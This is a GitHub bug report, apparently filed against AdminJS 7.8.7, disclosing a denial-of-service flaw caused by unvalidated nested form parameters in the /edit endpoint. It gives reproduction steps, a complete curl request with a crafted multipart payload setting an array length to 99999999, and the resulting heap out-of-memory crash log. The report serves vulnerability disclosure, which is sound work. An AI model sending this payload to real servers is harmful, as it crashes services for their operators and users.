[Bug]: DDoS via the /edit endpoint

[nostalgiaz]

Contact Details

No response

What happened?

This is a vulnerability that stems from a lack of validation of the nested parameters.

How to reproduce:

• git clone git@github.com:nostalgiaz/adminjs-ddos.git
• cd adminjs-ddos
• npm i
• docker-compose up -d
• DATABASE_URL=postgresql://dbtest:dbtest@localhost:5442/dbtest?schema=public npm run migrate
• DATABASE_URL=postgresql://dbtest:dbtest@localhost:5442/dbtest?schema=public npm run dev
• curl http://localhost:8080/set-up
• open the admin and login (no credentials needed)
• copy and paste the connect.sid cookie in the following curl:

  curl --path-as-is -i -s -k -X $'POST' \
  -H $'Host: localhost:8080' \
  -b $'connect.sid={COOKIE}' \
  -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBbtRxb7caACJwTiZ' -H $'Content-Length: 270' \
  --data-binary $'------WebKitFormBoundaryBbtRxb7caACJwTiZ\x0d\x0aContent-Disposition: form-data; name=\"previewData.rows.0.0\"\x0d\x0a\x0d\x0ax\x0d\x0a------WebKitFormBoundaryBbtRxb7caACJwTiZ\x0d\x0aContent-Disposition: form-data; name=\"previewData.rows.0.length\"\x0d\x0a\x0d\x0a99999999\x0d\x0a------WebKitFormBoundaryBbtRxb7caACJwTiZ\x0d\x0a' \
  $'http://localhost:8080/admin/api/resources/TestModel/records/1/edit'

Check the server shell: this is what I get.

<--- Last few GCs --->

[25778:0x158008000]    64915 ms: Scavenge 3898.2 (3976.8) -> 3895.0 (3982.6) MB, 15.92 / 0.00 ms  (average mu = 0.385, current mu = 0.281) allocation failure;
[25778:0x158008000]    72272 ms: Mark-Compact 4477.8 (4556.4) -> 4091.3 (4185.1) MB, 6399.42 / 0.00 ms  (average mu = 0.251, current mu = 0.172) allocation failure; scavenge might not succeed

<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----

Demo repo: https://github.com/nostalgiaz/adminjs-ddos

Bug prevalence

On specific a request

AdminJS dependencies version

• adminjs@7.8.7
• @adminjs/express@6.1.0
• @adminjs/prisma@5.0.3

What browsers do you see the problem on?

Firefox, Chrome, Safari, Microsoft Edge

Relevant log output

No response

Relevant code that's giving you issues

No response